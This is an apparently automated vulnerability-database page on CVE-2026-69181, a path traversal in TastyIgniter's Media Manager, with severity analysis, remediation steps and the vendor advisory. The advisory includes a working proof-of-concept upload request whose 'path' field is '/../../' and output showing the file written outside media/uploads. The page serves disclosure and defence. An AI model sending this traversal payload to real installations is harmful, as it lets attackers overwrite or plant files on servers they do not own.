TastyIgniter
CVE-2026-69181
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to /admin as administrator
-
DeliverySubmit Media Manager upload with path field '/../../'
-
ExploitServer fails to sanitize traversal in path
-
ExecutionFile written outside media/uploads
-
ImpactOverwrite or plant arbitrary files on host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Relative path traversal prevention
|
| Exploitation Conditions | Requires an authenticated TastyIgniter administrator session with access to the Media Manager endpoint POST /admin/media_manager, plus a valid X-CSRF-TOKEN/session, in versions prior to 4.3.1. The attacker supplies the multipart 'path' form field containing a directory-traversal sequence (e.g. /../../), which is concatenated without sanitization, so the uploaded file escapes media/uploads. Limiting factors: admin privileges (PR:H) are mandatory, so this is not remotely exploitable by unauthenticated users; writes are constrained to paths writable by the web server user (www-data in the PoC); and only unpatched installs below 4.3.1 are affected. The fix adds filename/path validation (rejecting '..', null bytes, and dotfiles) and content sanitization via MediaUploadValidator. |
| Impact | Signals point to a genuine but bounded issue rather than an emergency. The provided CVSS is 7.6 (High) with vector AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N, and the single most important metric is PR:H - exploitation requires an authenticated administrator with access to the Media Manager, which sharply limits the pool of real-world attackers and makes this a post-compromise / privilege-abuse primitive rather than a remote unauthenticated takeover. No EPSS score and no KEV status were supplied, so there is no evidence of widespread or active exploitation; treat exploitation as not confirmed in the wild. A working proof-of-concept HTTP request is published in the vendor's GHSA advisory, so a usable public PoC exists even though it is demonstrated as a technique rather than packaged exploit code. The vendor/reporter vuln.today decision label is 'this_week', consistent with High-but-not-critical urgency: apply the 4.3.1 update this week. Two data caveats: the supplied vector lists C:L, which is weakly justified for what is fundamentally an arbitrary file-write (integrity) primitive - my independent assessment sets confidentiality to N; and it lists A:N despite the impact note describing overwriting existing files, which could plausibly affect availability. The latent concern is that an attacker who controls (or has phished) an admin could escalate a constrained write into remote code execution by overwriting or planting executable files, which is why the I:H / S:C framing is appropriate. |
| Exploit ScenarioDerived | An attacker holding TastyIgniter administrator credentials opens the Media Manager, uploads an image, and in the multipart request sets the 'path' form field to a traversal sequence such as /../../, causing the uploaded file to be written outside the intended media/uploads directory. The vendor advisory includes a complete working proof-of-concept request and shows the file landing in storage/app/public. Because AV:N/AC:L apply but PR:H is required, the request is trivial to craft but presupposes authenticated admin access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 25, 2026
Path traversal in the Media Manager of TastyIgniter before 4.3.1 lets an authenticated administrator write uploaded files outside media/uploads/ and overwrite other files that the web server user can write. Exploitation requires an admin session and a valid CSRF token against POST /admin/media_manager, supplying a traversal sequence such as /../../ in the multipart 'path' field, so unauthenticated users cannot reach the vulnerable flow. The vendor advisory contains a public PoC reference (not verified here as working exploit code), while there is no CISA KEV listing or other indication of active exploitation.
RemediationAI
Upgrade to TastyIgniter 4.3.1 or later (composer require tastyigniter/tastyigniter:^4.3.1, or pull tastyigniter/core v4.3.1), which contains commit c6f99d7f47d20c144721c7a1044213f52c9b570f and its MediaUploadValidator that rejects '..', null bytes and dotfiles and adds content/extension checks; the advisory is at https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-rj59-9f77-mvg5 and the fixed release at https://github.com/tastyigniter/core/releases/tag/v4.3.1. Because exploitation requires an administrator session, the highest-value interim control is to restrict the admin panel and the Administrator/Media Manager permissions to trusted accounts and, where possible, limit /admin/* to known source IPs, accepting that this does not remove the flaw for compromised admin accounts. A second compensating control is to run PHP under an account whose write access is confined to storage/app/public (and logs/cache), so that a successful traversal cannot reach application code, config or .env files; the trade-off is that this can break plugins or extensions that legitimately write elsewhere in the tree. If a WAF or reverse proxy is in front of the admin panel, blocking multipart requests to /admin/media_manager whose 'path' field contains '..' reduces exposure, with the caveat that it may interfere with legitimate nested folder uploads and is bypassable via encoding variations. These measures are compensating only; the vendor fix is the complete remediation.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
TastyIgniter is a PHP/Laravel-based e-commerce and restaurant platform whose admin media handling lives in the Igniter Flame attachment subsystem (MediaAdder, Manipulator) and writes to a Laravel Storage disk rooted at storage/app/public/media/uploads. The root cause is CWE-23 (relative path traversal): the multipart 'path' form field posted to /admin/media_manager was concatenated into the destination path without normalization or rejection of '..' sequences, so the resolved write target escaped the intended upload directory while the response still reported success and returned a link containing the traversal. The impact is integrity-oriented rather than confidentiality-oriented (I:H, C:N) and the assessed vector carries S:C because the write leaves the media component's intended scope and can affect other files in the application tree, although the PoC shows writes limited to paths the www-data user owns. The fix commit c6f99d7f47d20c144721c7a1044213f52c9b570f introduces an Igniter\Flame\Support\MediaUploadValidator singleton that rejects null bytes, any '..' in the filename, dotfiles, and denylisted names (htaccess, web.config, nginx.conf), enforces an extension allowlist, verifies image magic bytes, sanitizes SVG uploads via enshrined/svg-sanitize (newly added to composer.json), and changes MediaAdder/Manipulator to validate buffered file contents before the Storage put rather than streaming the raw upload.
Know when Tastyigniter gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N
Admin-only Media Manager so PR:H; reachable over the network with a simple crafted upload (AV:N/AC:L); writing outside the media sandbox crosses a security boundary (S:C); arbitrary file write is an integrity impact (I:H) with no confirmed confidentiality or availability effect.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
Arbitrary file write outside media/uploads/
Details
It is possible to perform Path Traversal in Media Manager file upload function as admin.
PoC
- login as admin
- upload a image but in the request, change the path from
/to/../../.
Request
POST /admin/media_manager HTTP/1.1
Host: localhost:8888
Content-Length: 302
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember_igniter-admin_d89cc32487145546aea44c0efb53f29c32adfc35=eyJpdiI6InF4RFZUdStuQkY0cGRLU2s4NUFiQ1E9PSIsInZhbHVlIjoiUjMyRUp6UGI3ZFRsL0dhY3pDSUhtMDJaY3Y5bXZ6SFlkQVR5MzZzdGZOT2ZRdExFQ1FJRUh5NDVmQlV0d0tNUXRackcxbTh0YWcxbHphV3dmTVdrNjR5aExhdzZUUFdLQ1JsSEhiMUlZRE1IblBuTFhmdVJWZFc5bFpicU4vS1BUZDh5OGRUMERTU1dsOEdnZVp0bXNpUFI5ZWFPM29RaGl3czU0cnlKczFsN0U4OGFnRWNjREM3aWFSRUtaYTVVTkRmSkV4RXlzZGRiK3RRcGVmOVk2dG1ud0NBaXVFTDRHRVM0Nk9MWDNaUT0iLCJtYWMiOiJiZjA3OGVhMjZlZjQ5ZDczNDkxYmQ3NDBmYWFmNGI5NjNkZDFkMmI0ODAwMTU2MmE5MjMwNjJlMzU0OGM1ODg5IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Ikt6a2dhWG1oL3p4NFBlOUpUWTNLRGc9PSIsInZhbHVlIjoiaU1KZzErLzJoQ3dsSVRnbkptUE5YcmN6cFk1eVJoNWZlSVZzeFlqcVVlQThDWGc1S2FUS1hGMEFsa1Bsb0RvVE12T1VoTEdKOFpQRm5XMXMrSG1ONTI5T0U2UW5KMFAxRHRTWXA2eFNYSm9xaldlMkZrbHl5aSs3K21hQjBveWEiLCJtYWMiOiI5MzY4NzNhODQ3NjlkNDgzMzc0N2FkZjM0YTJjMDI5MTBhZjc3MmZiNzI2YTc3NTBmNWY2OTFiNTBmMGRlNDg4IiwidGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6ImpoQldjRHJMTlJCMXlxVWVnbmt4QUE9PSIsInZhbHVlIjoicS9nRENOZDgvRURBL2kvM1VSOTFmaFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"
/../../
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file_data"; filename="test-pic.png"
Content-Type: image/png
<sample image>
------WebKitFormBoundaryN13ytndlhtodIsbE--
Response
HTTP/1.1 200 OK
Date: Mon, 25 May 2026 16:27:08 GMT
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.3.31
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6Inp5eVRnNUNmVjlYZXlHNzVsaEZyWVE9PSIsInZhbHVlIjoidTZ4N1djTy9jNEJQdFRzRG1mRkkrYmVKNDMyTE95NytKRWdTU3dwYUNWUUNwaW5USURyS2E1MVNDK0ZHVXJ4ZmdnYWo5R2RUaGZ2TC9SQTVHQUdIK2pKNFZXMmFkNk1GYUdBdkZOc0dNdFYzYVpES0FOSFBjL0s3ZklGNVNIelMiLCJtYWMiOiI0NDI5ZjFjYzZjZjVmZTI1Yjg2OWZmZGUyMjJjMDU1ODVjYTYyNjFjMjMwNGY2YWZmNWIzMjgwOGI5ODMyZGZmIiwidGFnIjoiIn0%3D; expires=Mon, 25 May 2026 18:27:08 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: tastyigniter_session=eyJpdiI6IjJaT3E2TEVZWHY0UzJLRkVsZVU5ZFE9PSIsInZhbHVlIjoiVi9vcXBOR0xLNUNmcXkrQ04yVitjeENSVC9UN28vSkl3VElTYzFxQkxtYVg5aXBIbmJWRUQxM3BXOXFMSDYxU3g3RVBuSXIxL00xZndyRGg0a01NYVJtQUhHaDJqK0NtSE44VXVrNmVnVWlyM2I3ek1SZFM4T2R0NFhNek5qYm8iLCJtYWMiOiIyODkxN2FlN2Y3YjIyMDA0NGUzZDE4NTdiMWZjMTQzNjc0MWU5NmIzMWIxNDkwYzdjODJjYTE4MWUwM2I4MDQ1IiwidGFnIjoiIn0%3D; expires=Mon, 25 May 2026 18:27:08 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 104
{"link":"http:\/\/localhost:8888\/storage\/media\/uploads\/\/..\/..\/\/test-pic.png","result":"success"}Noticed that the file is uploaded to different directory
root@6108ffece410:/var/www/html
# ls -la storage/app/public/
total 20
drwxr-xr-x 3 www-data www-data 4096 May 25 16:27 .
drwxr-xr-x 4 www-data www-data 4096 May 25 16:10 ..
-rwxr-xr-x 1 www-data www-data 14 May 25 16:10 .gitignore
drwxr-xr-x 4 www-data www-data 4096 May 25 16:15 media
-rw-r--r-- 1 www-data www-data 14 May 25 16:27 test-pic.pngImpact
Attacker with admin privilege can write file into other folder which could overwrite other files.
Articles & Coverage 1
Technical POC Analysis
CWE-23 (relative path traversal) in the TastyIgniter core media upload path.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
A high-severity path traversal vulnerability in TastyIgniter's Media Manager (CVE-2026-69181) allows an authenticated administrator to write files outside the designated media directory, potentially overwriting critical system files. While exploitation requires admin access and a valid CSRF token, the risk is significant for organizations using TastyIgniter for online ordering and content management, as a compromised admin account could lead to service disruption or data integrity issues.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.
Affected Products (CPE)GitHub Advisory
More in Tastyigniter
View allStored cross-site scripting in TastyIgniter 3.7.7's /admin/media_manager allows an authenticated user with file-upload p
TastyIgniter 3.7.6 contains an Incorrect Access Control vulnerability in the invoice() function within Orders.php which
Cross-site Scripting (XSS) - DOM in GitHub repository tastyigniter/tastyigniter prior to 3.3.0. Rated medium severity (C
TastyIgniter 3.0.7 allows XSS via /account, /reservation, /admin/dashboard, and /admin/system_logs. Rated medium severit
Order status forgery in the TastyIgniter Mollie payment extension (ti-ext-payregister) through v4.3.1 lets any customer
TastyIgniter 3.7.6 contains an Incorrect Access Control vulnerability in the Orders Management System, allowing unauthor
Stored cross-site scripting in TastyIgniter's Media Manager allows low-privileged authenticated users to execute arbitra
TastyIgniter v3.5.0 was discovered to contain a cross-site scripting (XSS) vulnerability which allows attackers to execu
GHSA-rj59-9f77-mvg5
NVD
CVE.org
Exploit-DB